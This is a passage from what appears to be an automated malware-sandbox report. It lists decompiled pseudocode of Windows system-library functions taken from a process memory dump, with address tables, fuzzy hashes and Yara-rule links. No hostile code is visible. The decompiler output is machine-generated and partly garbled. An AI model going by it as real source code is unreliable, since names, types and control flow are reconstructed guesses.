				intOrPtr* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *((intOrPtr*)(_t26 + 8)));
					_push(0);
					_push( *_t26);
					E1E3D9910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					E1E3D95B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E1E3D95D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
					L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
				}
				_push( *_t26);
				E1E3D95D0();
				return L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
			}

0x1e42c458
0x1e42c45d
0x1e42c466
0x1e42c468
0x1e42c469
0x1e42c46a
0x1e42c46b
0x1e42c46e
0x1e42c46f
0x1e42c471
0x1e42c476
0x1e42c476
0x1e42c47c
0x1e42c47e
0x1e42c480
0x1e42c480
0x1e42c483
0x1e42c484
0x1e42c486
0x1e42c488
0x1e42c48f
0x1e42c491
0x1e42c493
0x1e42c493
0x1e42c48f
0x1e42c498
0x1e42c49e
0x1e42c4ad
0x1e42c4ad
0x1e42c4b2
0x1e42c4b4
0x1e42c4cd

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction ID: f85921fc91cd6771d6989e3e9fb1fa546fe7d3f88ace1dba66a640b0914b5e48
Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction Fuzzy Hash: 2101CC76180646BFD6129F66CC80E63B77EFF44390F804B36F21446660CB22BCA1CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 1E399080, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E1E399080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				intOrPtr* _t51;
				intOrPtr _t59;
				signed int _t64;
				signed int _t67;
				signed int* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr* _t87;
				void* _t94;
				signed int _t95;
				intOrPtr* _t97;
				signed int _t99;
				signed int _t102;
				void* _t104;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t97 = __ecx;
				_t102 =  *(__ecx + 0x14);
				if((_t102 & 0x02ffffff) == 0x2000000) {
					_t102 = _t102 | 0x000007d0;
				}
				_t48 =  *[fs:0x30];
				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
					_t102 = _t102 & 0xff000000;
				}
				_t80 = 0x1e4885ec;
				E1E3B2280(_t48, 0x1e4885ec);
				_t51 =  *_t97 + 8;
				if( *_t51 != 0) {
					L6:
					return E1E3AFFB0(_t80, _t97, _t80);
				} else {
					 *(_t97 + 0x14) = _t102;
					_t84 =  *0x1e48538c; // 0x8b55f0
					if( *_t84 != 0x1e485388) {
						_t85 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2c);
						_push(0x1e46f6e8);
						E1E3ED0E8(0x1e4885ec, _t97, _t102);
						 *((char*)(_t104 - 0x1d)) = 0;
						_t99 =  *(_t104 + 8);
						__eflags = _t99;
						if(_t99 == 0) {
							L13:
							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
							if(__eflags == 0) {
								E1E4688F5(_t80, _t85, 0x1e485388, _t99, _t102, __eflags);
							}
						} else {
							__eflags = _t99 -  *0x1e4886c0; // 0x8507b0
							if(__eflags == 0) {
								goto L13;
							} else {
								__eflags = _t99 -  *0x1e4886b8; // 0x8a26e8
								if(__eflags == 0) {
									goto L13;
								} else {
									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
									__eflags =  *((char*)(_t59 + 0x28));
									if( *((char*)(_t59 + 0x28)) == 0) {
										E1E3B2280(_t99 + 0xe0, _t99 + 0xe0);
										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
										__eflags =  *((char*)(_t99 + 0xe5));
										if(__eflags != 0) {
											E1E4688F5(0x1e4885ec, _t85, 0x1e485388, _t99, _t102, __eflags);
										} else {
											__eflags =  *((char*)(_t99 + 0xe4));
											if( *((char*)(_t99 + 0xe4)) == 0) {
												 *((char*)(_t99 + 0xe4)) = 1;
												_push(_t99);
												_push( *((intOrPtr*)(_t99 + 0x24)));
												E1E3DAFD0();
											}
											while(1) {
												_t71 = _t99 + 8;
												 *(_t104 - 0x2c) = _t71;
												_t80 =  *_t71;
												_t95 = _t71[1];
												 *(_t104 - 0x28) = _t80;
												 *(_t104 - 0x24) = _t95;
												while(1) {
													L19:
													__eflags = _t95;
													if(_t95 == 0) {
														break;
													}
													_t102 = _t80;
													 *(_t104 - 0x30) = _t95;
													 *(_t104 - 0x24) = _t95 - 1;
													asm("lock cmpxchg8b [edi]");
													_t80 = _t102;
													 *(_t104 - 0x28) = _t80;
													 *(_t104 - 0x24) = _t95;
													__eflags = _t80 - _t102;
													_t99 =  *(_t104 + 8);
													if(_t80 != _t102) {
														continue;
													} else {
														__eflags = _t95 -  *(_t104 - 0x30);
														if(_t95 !=  *(_t104 - 0x30)) {
															continue;
														} else {
															__eflags = _t95;
															if(_t95 != 0) {
																_t74 = 0;
																 *(_t104 - 0x34) = 0;
																_t102 = 0;
																__eflags = 0;
																while(1) {
																	 *(_t104 - 0x3c) = _t102;
																	__eflags = _t102 - 3;
																	if(_t102 >= 3) {
																		break;
																	}
																	__eflags = _t74;
																	if(_t74 != 0) {
																		L49:
																		_t102 =  *_t74;
																		__eflags = _t102;
																		if(_t102 != 0) {
																			_t102 =  *(_t102 + 4);
																			__eflags = _t102;
																			if(_t102 != 0) {
																				 *0x1e48b1e0(_t74, _t99);
																				 *_t102();
																			}
																		}
																		do {
																			_t71 = _t99 + 8;
																			 *(_t104 - 0x2c) = _t71;
																			_t80 =  *_t71;
																			_t95 = _t71[1];
																			 *(_t104 - 0x28) = _t80;
																			 *(_t104 - 0x24) = _t95;
																			goto L19;
																		} while (_t74 == 0);
																		goto L49;
																	} else {
																		_t82 = 0;
																		__eflags = 0;
																		while(1) {
																			 *(_t104 - 0x38) = _t82;
																			__eflags = _t82 -  *0x1e4884c0;
																			if(_t82 >=  *0x1e4884c0) {
																				break;
																			}
																			__eflags = _t74;
																			if(_t74 == 0) {
																				_t77 = E1E469063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
																				__eflags = _t77;
																				if(_t77 == 0) {
																					_t74 = 0;
																					__eflags = 0;
																				} else {
																					_t74 = _t77 + 0xfffffff4;
																				}
																				 *(_t104 - 0x34) = _t74;
																				_t82 = _t82 + 1;
																				continue;
																			}
																			break;
																		}
																		_t102 = _t102 + 1;
																		continue;
																	}
																	goto L20;
																}
																__eflags = _t74;
															}
														}
													}
													break;
												}
												L20:
												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
												 *((char*)(_t99 + 0xe5)) = 1;
												 *((char*)(_t104 - 0x1d)) = 1;
												goto L21;
											}
										}
										L21:
										 *(_t104 - 4) = 0xfffffffe;
										E1E39922A(_t99);
										_t64 = E1E3B7D50();
										__eflags = _t64;
										if(_t64 != 0) {
											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t67 = 0x7ffe0386;
										}
										__eflags =  *_t67;
										if( *_t67 != 0) {
											_t67 = E1E468B58(_t99);
										}
										__eflags =  *((char*)(_t104 - 0x1d));
										if( *((char*)(_t104 - 0x1d)) != 0) {
											__eflags = _t99 -  *0x1e4886c0; // 0x8507b0
											if(__eflags != 0) {
												__eflags = _t99 -  *0x1e4886b8; // 0x8a26e8
												if(__eflags == 0) {
													_t94 = 0x1e4886bc;
													_t87 = 0x1e4886b8;
													goto L27;
												} else {
													__eflags = _t67 | 0xffffffff;
													asm("lock xadd [edi], eax");
													if(__eflags == 0) {
														E1E399240(_t80, _t99, _t99, _t102, __eflags);
													}
												}
											} else {
												_t94 = 0x1e4886c4;
												_t87 = 0x1e4886c0;
												L27:
												E1E3C9B82(_t80, _t87, _t94, _t99, _t102, __eflags);
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						return E1E3ED130(_t80, _t99, _t102);
					} else {
						 *_t51 = 0x1e485388;
						 *((intOrPtr*)(_t51 + 4)) = _t84;
						 *_t84 = _t51;
						 *0x1e48538c = _t51;
						goto L6;
					}
				}
			}

0x1e399082
0x1e399083
0x1e399084
0x1e399085
0x1e399087
0x1e399096
0x1e399098
0x1e399098
0x1e39909e
0x1e3990a8
0x1e3990e7
0x1e3990e7
0x1e3990aa
0x1e3990b0
0x1e3990b7
0x1e3990bd
0x1e3990dd
0x1e3990e6
0x1e3990bf
0x1e3990bf
0x1e3990c7
0x1e3990cf
0x1e3990f1
0x1e3990f2
0x1e3990f4
0x1e3990f5
0x1e3990f6
0x1e3990f7
0x1e3990f8
0x1e3990f9
0x1e3990fa
0x1e3990fb
0x1e3990fc
0x1e3990fd
0x1e3990fe
0x1e3990ff
0x1e399100
0x1e399102
0x1e399107
0x1e39910c
0x1e399110
0x1e399113
0x1e399115
0x1e399136
0x1e39913f
0x1e399143
0x1e3f37e4
0x1e3f37e4
0x1e399117
0x1e399117
0x1e39911d
0x00000000
0x1e39911f
0x1e39911f
0x1e399125
0x00000000
0x1e399127
0x1e39912d
0x1e399130
0x1e399134
0x1e399158
0x1e39915d
0x1e399161
0x1e399168
0x1e3f3715
0x1e39916e
0x1e39916e
0x1e399175
0x1e399177
0x1e39917e
0x1e39917f
0x1e399182
0x1e399182
0x1e399187
0x1e399187
0x1e39918a
0x1e39918d
0x1e39918f
0x1e399192
0x1e399195
0x1e399198
0x1e399198
0x1e399198
0x1e39919a
0x00000000
0x00000000
0x1e3f371f
0x1e3f3721
0x1e3f3727
0x1e3f372f
0x1e3f3733
0x1e3f3735
0x1e3f3738
0x1e3f373b
0x1e3f373d
0x1e3f3740
0x00000000
0x1e3f3746
0x1e3f3746
0x1e3f3749
0x00000000
0x1e3f374f
0x1e3f374f
0x1e3f3751
0x1e3f3757
0x1e3f3759
0x1e3f375c
0x1e3f375c
0x1e3f375e
0x1e3f375e
0x1e3f3761
0x1e3f3764
0x00000000
0x00000000
0x1e3f3766
0x1e3f3768
0x1e3f37a3
0x1e3f37a3
0x1e3f37a5
0x1e3f37a7
0x1e3f37ad
0x1e3f37b0
0x1e3f37b2
0x1e3f37bc
0x1e3f37c2
0x1e3f37c2
0x1e3f37b2
0x1e399187
0x1e399187
0x1e39918a
0x1e39918d
0x1e39918f
0x1e399192
0x1e399195
0x00000000
0x1e399195
0x00000000
0x1e3f376a
0x1e3f376a
0x1e3f376a
0x1e3f376c
0x1e3f376c
0x1e3f376f
0x1e3f3775
0x00000000
0x00000000
0x1e3f3777
0x1e3f3779
0x1e3f3782
0x1e3f3787
0x1e3f3789
0x1e3f3790
0x1e3f3790
0x1e3f378b
0x1e3f378b
0x1e3f378b
0x1e3f3792
0x1e3f3795
0x00000000
0x1e3f3795
0x00000000
0x1e3f3779
0x1e3f3798
0x00000000
0x1e3f3798
0x00000000
0x1e3f3768
0x1e3f379b
0x1e3f379b
0x1e3f3751
0x1e3f3749
0x00000000
0x1e3f3740
0x1e3991a0
0x1e3991a3
0x1e3991a9
0x1e3991b0
0x00000000
0x1e3991b0
0x1e399187
0x1e3991b4
0x1e3991b4
0x1e3991bb
0x1e3991c0
0x1e3991c5
0x1e3991c7
0x1e3f37da
0x1e3991cd
0x1e3991cd
0x1e3991cd
0x1e3991d2
0x1e3991d5
0x1e399239
0x1e399239
0x1e3991d7
0x1e3991db
0x1e3991e1
0x1e3991e7
0x1e3991fd
0x1e399203
0x1e39921e
0x1e399223
0x00000000
0x1e399205
0x1e399205
0x1e399208
0x1e39920c
0x1e399214
0x1e399214
0x1e39920c
0x1e3991e9
0x1e3991e9
0x1e3991ee
0x1e3991f3
0x1e3991f3
0x1e3991f3
0x1e3991e7
0x00000000
0x00000000
0x00000000
0x1e399134
0x1e399125
0x1e39911d
0x1e39914e
0x1e3990d1
0x1e3990d1
0x1e3990d3
0x1e3990d6
0x1e3990d8
0x00000000
0x1e3990d8
0x1e3990cf

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96fe06e1bd772c24b47d9063e337a0a429713b4ed09394fd60764f866ec751c2
Instruction ID: 69e408366a1bf878bb248fbfd1f4f6311cba05a47f62ea5b5790f5c503a7f5cf
Opcode Fuzzy Hash: 96fe06e1bd772c24b47d9063e337a0a429713b4ed09394fd60764f866ec751c2
Instruction Fuzzy Hash: 56012272A112428FD3058F45D880B06BBBAEF85720F2943AAE111CF795C374EC81DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 1E464015, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E1E464015(signed int __eax, signed int __ecx) {
				void* __ebx;
				void* __edi;
				signed char _t10;
				signed int _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t1 = _t28 + 0x1c; // 0x1e
					E1E3B2280(_t10, _t1);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E1E3B2280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x1e4886ac);
					E1E39F900(0x1e4886d4, _t28);
					E1E3AFFB0(0x1e4886ac, _t28, 0x1e4886ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E1E3AFFB0(0, _t28, _t1);
					_t18 =  *((intOrPtr*)(_t28 + 0x94));
					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
						L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
					}
					_t10 = L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
				}
				return _t10;
			}

0x1e46401a
0x1e46401e
0x1e464023
0x1e464028
0x1e464029
0x1e46402b
0x1e46402f
0x1e464043
0x1e464046
0x1e464051
0x1e464057
0x1e46405f
0x1e464062
0x1e464067
0x1e46406f
0x1e46407c
0x1e46407c
0x1e46408c
0x1e46408c
0x1e464097

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7219349f5b1bc28bd95e465ed486fc4897bc4c71eacae2ae2ea5c18586b1c6f
Instruction ID: 6eb0471e54da28939211687dce5f8af37742d12222be6644e6422e9168ef2739
Opcode Fuzzy Hash: a7219349f5b1bc28bd95e465ed486fc4897bc4c71eacae2ae2ea5c18586b1c6f
Instruction Fuzzy Hash: CA018F762019857FD7519B69DD80E17B7ADFF89660B000726B608CBA51CB24FC51C6E4

Uniqueness

Uniqueness Score: -1.00%

Function 1E4514FB, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E1E4514FB(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x1e48d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E1E3DFA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(E1E3B7D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E1E3DB640(E1E3D9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x1e4514fb
0x1e4514fb
0x1e45150a
0x1e451514
0x1e451519
0x1e45151b
0x1e451526
0x1e45152c
0x1e451534
0x1e451537
0x1e45153a
0x1e451545
0x1e451557
0x1e451547
0x1e451550
0x1e451550
0x1e451562
0x1e451563
0x1e451565
0x1e45156a
0x1e45157f

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c791a053c845965ce8b0d69a8fbbe6ea3fad7c2bf1e72f5abdb5dd9079707930
Instruction ID: 21f8b70831bd96aef439043bf42c9095205e992dd0f22a76fb19780f371900c3
Opcode Fuzzy Hash: c791a053c845965ce8b0d69a8fbbe6ea3fad7c2bf1e72f5abdb5dd9079707930
Instruction Fuzzy Hash: A5019E75A0125CAFCB04DFA9D841EAEBBB8EF44700F44456AF905EB380DA70EA04CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1E45138A, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E1E45138A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x1e48d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E1E3DFA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1033;
				if(E1E3B7D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E1E3DB640(E1E3D9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x1e45138a
0x1e45138a
0x1e451399
0x1e4513a3
0x1e4513a8
0x1e4513aa
0x1e4513b5
0x1e4513bb
0x1e4513c3
0x1e4513c6
0x1e4513c9
0x1e4513d4
0x1e4513e6
0x1e4513d6
0x1e4513df
0x1e4513df
0x1e4513f1
0x1e4513f2
0x1e4513f4
0x1e4513f9
0x1e45140e

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 042e99fb482190775ccac99dcc538ec44109b1112d2e3412bdebf033751c8b2e
Instruction ID: 3a8a59ea6a5449172e37ae7e4e3e32499b5e2b01d6d74e0678bbca7271b2c751
Opcode Fuzzy Hash: 042e99fb482190775ccac99dcc538ec44109b1112d2e3412bdebf033751c8b2e
Instruction Fuzzy Hash: 37018075A00758AFDB04DFA9D881EAEB7B8EF44700F44456AB900EB380D670AA05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E3958EC, Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E1E3958EC(intOrPtr __ecx) {
				signed int _v8;
				char _v28;
				char _v44;
				char _v76;
				void* __edi;
				void* __esi;
				intOrPtr _t10;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_v8 =  *0x1e48d360 ^ _t29;
				_t10 =  *[fs:0x30];
				_t27 = __ecx;
				if(_t10 == 0) {
					L6:
					_t28 = 0x1e375c80;
				} else {
					_t16 =  *((intOrPtr*)(_t10 + 0x10));
					if(_t16 == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(_t16 + 0x3c));
					}
				}
				if(E1E395943() != 0 &&  *0x1e485320 > 5) {
					E1E417B5E( &_v44, _t27);
					_t22 =  &_v28;
					E1E417B5E( &_v28, _t28);
					_t11 = E1E417B9C(0x1e485320, 0x1e37bf15,  &_v28, _t22, 4,  &_v76);
				}
				return E1E3DB640(_t11, _t17, _v8 ^ _t29, 0x1e37bf15, _t27, _t28);
			}

0x1e3958fb
0x1e3958fe
0x1e395906
0x1e39590a
0x1e39593c
0x1e39593c
0x1e39590c
0x1e39590c
0x1e395911
0x00000000
0x1e395913
0x1e395913
0x1e395913
0x1e395911
0x1e39591d
0x1e3f1035
0x1e3f103c
0x1e3f103f
0x1e3f1056
0x1e3f1056
0x1e39593b

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3926069b7e1133ec70bd6e91f81c74eaae7bfe28e66961f49445ff46c428bc0
Instruction ID: 477181577aaa4a9f6c41d7c2c41d85d63fe49d67b80ca44a7aafa83cc47ba92c
Opcode Fuzzy Hash: f3926069b7e1133ec70bd6e91f81c74eaae7bfe28e66961f49445ff46c428bc0
Instruction Fuzzy Hash: 8B01F235A00108ABDB04CF6AE814AAE73ADEF85620F8103AED8019B284DF30FD41D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 1E44FE3F, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E1E44FE3F(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x1e48d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E1E3DFA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x267;
				if(E1E3B7D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E1E3DB640(E1E3D9AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x1e44fe3f
0x1e44fe3f
0x1e44fe4e
0x1e44fe58
0x1e44fe5d
0x1e44fe5f
0x1e44fe6a
0x1e44fe72
0x1e44fe75
0x1e44fe78
0x1e44fe83
0x1e44fe95
0x1e44fe85
0x1e44fe8e
0x1e44fe8e
0x1e44fea0
0x1e44fea1
0x1e44fea3
0x1e44fea8
0x1e44febd

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3718be721b6855814040cacc22bee8ab0b2e8d6324eb073df2cc38381fc230c7
Instruction ID: 2475251ada07d49367538589c7bf3f7724126fb0a258943c8bef7cb63348fa7c
Opcode Fuzzy Hash: 3718be721b6855814040cacc22bee8ab0b2e8d6324eb073df2cc38381fc230c7
Instruction Fuzzy Hash: D601B171A00258ABDB14CBA9D845EAEBBB8EF40700F14456AB900AB380DA70A941CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1E44FEC0, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E1E44FEC0(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x1e48d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E1E3DFA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x266;
				if(E1E3B7D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E1E3DB640(E1E3D9AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x1e44fec0
0x1e44fec0
0x1e44fecf
0x1e44fed9
0x1e44fede
0x1e44fee0
0x1e44feeb
0x1e44fef3
0x1e44fef6
0x1e44fef9
0x1e44ff04
0x1e44ff16
0x1e44ff06
0x1e44ff0f
0x1e44ff0f
0x1e44ff21
0x1e44ff22
0x1e44ff24
0x1e44ff29
0x1e44ff3e

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af53af7c8c09b41f0ccbe146154f0fe3feb840e81279b5370cde4c65c7024d4c
Instruction ID: baa7ffb9d86ab013d1a08c1a6c54ebb92125fd47e741a70ee44daf3f1a469741
Opcode Fuzzy Hash: af53af7c8c09b41f0ccbe146154f0fe3feb840e81279b5370cde4c65c7024d4c
Instruction Fuzzy Hash: 5801D472E00258AFDB04CFA9D845FAEB7B8EF44700F44416AF900EB380DA70EA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1E3AB02A, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3AB02A(intOrPtr __ecx, signed short* __edx, short _a4) {
				signed char _t11;
				signed char* _t12;
				intOrPtr _t24;
				signed short* _t25;

				_t25 = __edx;
				_t24 = __ecx;
				_t11 = ( *[fs:0x30])[0x50];
				if(_t11 != 0) {
					if( *_t11 == 0) {
						goto L1;
					}
					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
					L2:
					if( *_t12 != 0) {
						_t12 =  *[fs:0x30];
						if((_t12[0x240] & 0x00000004) == 0) {
							goto L3;
						}
						if(E1E3B7D50() == 0) {
							_t12 = 0x7ffe0385;
						} else {
							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t12 & 0x00000020) == 0) {
							goto L3;
						}
						return E1E417016(_a4, _t24, 0, 0, _t25, 0);
					}
					L3:
					return _t12;
				}
				L1:
				_t12 = 0x7ffe0384;
				goto L2;
			}

0x1e3ab037
0x1e3ab039
0x1e3ab03b
0x1e3ab040
0x1e3fa60e
0x00000000
0x00000000
0x1e3fa61d
0x1e3ab04b
0x1e3ab04e
0x1e3fa627
0x1e3fa634
0x00000000
0x00000000
0x1e3fa641
0x1e3fa653
0x1e3fa643
0x1e3fa64c
0x1e3fa64c
0x1e3fa65b
0x00000000
0x00000000
0x00000000
0x1e3fa66c
0x1e3ab057
0x1e3ab057
0x1e3ab057
0x1e3ab046
0x1e3ab046
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction ID: b7bde77c5464bc2a03af38fbb53d7df0c1ac8a143978fc8fc4bfed780c8a422b
